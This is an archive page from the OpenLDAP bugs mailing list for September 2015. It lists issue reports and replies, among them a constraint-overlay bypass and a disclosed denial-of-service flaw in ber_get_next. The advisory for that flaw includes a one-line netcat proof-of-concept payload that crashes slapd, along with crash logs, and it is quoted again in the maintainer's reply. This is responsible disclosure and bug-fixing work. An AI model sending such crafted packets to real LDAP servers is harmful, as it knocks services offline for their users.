openldap-bugs

openldap-bugs@openldap.org

1 participants
20963 discussions

Re: (ITS#8242) constraint overlay gets bypassed for add operations without RDN attribute explicitly listed
by subbarao＠computer.org 11 Sep '15

11 Sep '15

I just realized that this issue is a duplicate of ITS#7420 which was reported in 2012. Sorry for the duplication. -Kartik

1 0

ITS#8240
by michael＠stroeder.com 11 Sep '15

11 Sep '15

Hmm...wouldn't this ITS justify some quick security release 2.4.43? I'm willing to test in as many of my deployments as possible. CIao, Michael.

1 0

Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
by hyc＠symas.com 10 Sep '15

10 Sep '15

Michael Ströder wrote: > hyc(a)symas.com wrote: >> Thanks for the report. Fixed now in git master. > > Thanks for this quick fix. > > Could this also affect LDAP clients using libldap? The assert was in liblber. Since libldap uses liblber, yes, it can affect clients. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
by leo＠yuriev.ru 10 Sep '15

10 Sep '15

2015-09-11 2:11 GMT+03:00 <michael(a)stroeder.com>: > hyc(a)symas.com wrote: >> Thanks for the report. Fixed now in git master. > > Thanks for this quick fix. > > Could this also affect LDAP clients using libldap? > > Ciao, Michael. > Yes, of course - any application that uses liblber for parse or read a data.

1 0

Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
by michael＠stroeder.com 10 Sep '15

10 Sep '15

hyc(a)symas.com wrote: > Thanks for the report. Fixed now in git master. Thanks for this quick fix. Could this also affect LDAP clients using libldap? Ciao, Michael.

1 0

(ITS#8242) constraint overlay gets bypassed for add operations without RDN attribute explicitly listed
by subbarao＠computer.org 10 Sep '15

10 Sep '15

Full_Name: Kartik Subbarao Version: 2.4.41 OS: Ubuntu 14.4 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (173.75.228.155) I have the constraint overlay configured to disallow space characters in the uid attribute. Normally this behaves as expected and rejects attributes with spaces, such as when I add this LDIF entry with ldapmodify: dn: uid=test app@example,com,dc=example,dc=com objectClass: applicationProcess objectClass: llnwApplication uid: test app(a)example.com cn: test app description: This is a test The constraint overlay properly rejects the add operation. But if I leave out the 'uid' attribute, it bypasses the constraint overlay and adds the entry: dn: uid=test app@example,com,dc=example,dc=com objectClass: applicationProcess objectClass: llnwApplication cn: test app description: This is a test Looking at the source code, this behavior seems to happen because constraint_add() loops through the op->ora_e->e_attrs list, which the RDN attribute is absent from in this case.

1 0

(ITS#8241) assert fail from back-bdb/add failure
by hyc＠openldap.org 09 Sep '15

09 Sep '15

Full_Name: Howard Chu Version: 2.4 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (78.155.236.74) Submitted by: hyc When adding an entry, the last step before TXN_COMMIT is setting up the entry in the entry cache. If the commit fails (it can't fail for locking reasons at this point, but could fail for disk full or other I/O errors) the entryinfo needs to be removed but isn't. This will later trip an assert when do_add() calls entry_free().

1 0

Re: (ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
by hyc＠symas.com 09 Sep '15

09 Sep '15

denis.andzakovic(a)security-assessment.com wrote: > Full_Name: Denis Andzakovic > Version: 2.4.42 > OS: Debian 8 > URL: > Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89) > > > OpenLDAP ber_get_next Denial of Service > Affected Versions: OpenLDAP <= 2.4.42 > > +-------------+ > | Description | > +-------------+ > This document details a vulnerability found within the OpenLDAP server daemon. A > Denial of Service vulnerability was discovered within the slapd daemon, allowing > an unauthenticated attacker to crash the OpenLDAP server. > > By sending a crafted packet, an attacker may cause the OpenLDAP server to reach > an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 > (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package > repository. Thanks for the report. Fixed now in git master. > +--------------+ > | Exploitation | > +--------------+ > By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash > with a SIGABRT. This is due to an assert() call within the ber_get_next method > (io.c line 682) that is hit when decoding tampered BER data. > > The following proof of concept exploit can be used to trigger the condition: > > --[ Exploit POC > echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 It's easier to just pipe this into liblber/dtest. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
by denis.andzakovic＠security-assessment.com 09 Sep '15

09 Sep '15

Full_Name: Denis Andzakovic Version: 2.4.42 OS: Debian 8 URL: Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89) OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff6a144e8 in __GI_abort () at abort.c:89 #2 0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "r_r_get_next") at assert.c:92 #3 0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101 #4 0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40, ber=0x7fffe4000a00) at io.c:682 #5 0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572 #6 connection_read (cri=<optimiz o out>, s=<optimized out>) at connection.c:1460 #7 connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284 #8 0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696 #9 0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at pthread_create.c:309 #10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 +----------+ | Solution | +----------+ Ensure that data received from untrusted sources is not able to trigger conditions resulting in the server crashing. In this specific instance, the NDEBUG macro should be defined before the inclusion of assert.h by default, requiring a specific compile time alteration to enable debug. +-------------------------------+A%A| About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650

1 0

Re: (ITS#8209) Broken MDB_CP_COMPACT threading
by h.b.furuseth＠usit.uio.no 08 Sep '15

08 Sep '15

I wrote: > Compacting can verify that the written metapage claims > enough DB pages. But not the opposite - it should not > fail if it claims too many pages since that would mean > we can't compact a DB which has suffered page leaks. Duh, yes the opposite too. If there has been a page leak, the root page number written in the new meta will be wrong. > We could detect that and re-write the metas at the end, > if the user requests it and the file is seekable. Though there's no reliable "is file seekable?" test. lseek() can do nothing but still return success on some devices. Another (user) option: Write a file which requires recovery. We'll need something like that with incremental backups anyway. Write dummy metapages at the beginning, with meta.mm_version indicating the file must be recovered. Write a final metapage at the end, or try to seek and rewrite the beginning if the user says so. Recovery must be a separate program, or in mdb_env_open() when we know the metapage is at the end - i.e. before mapping and maybe expanding the file. -- Hallvard

1 0

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs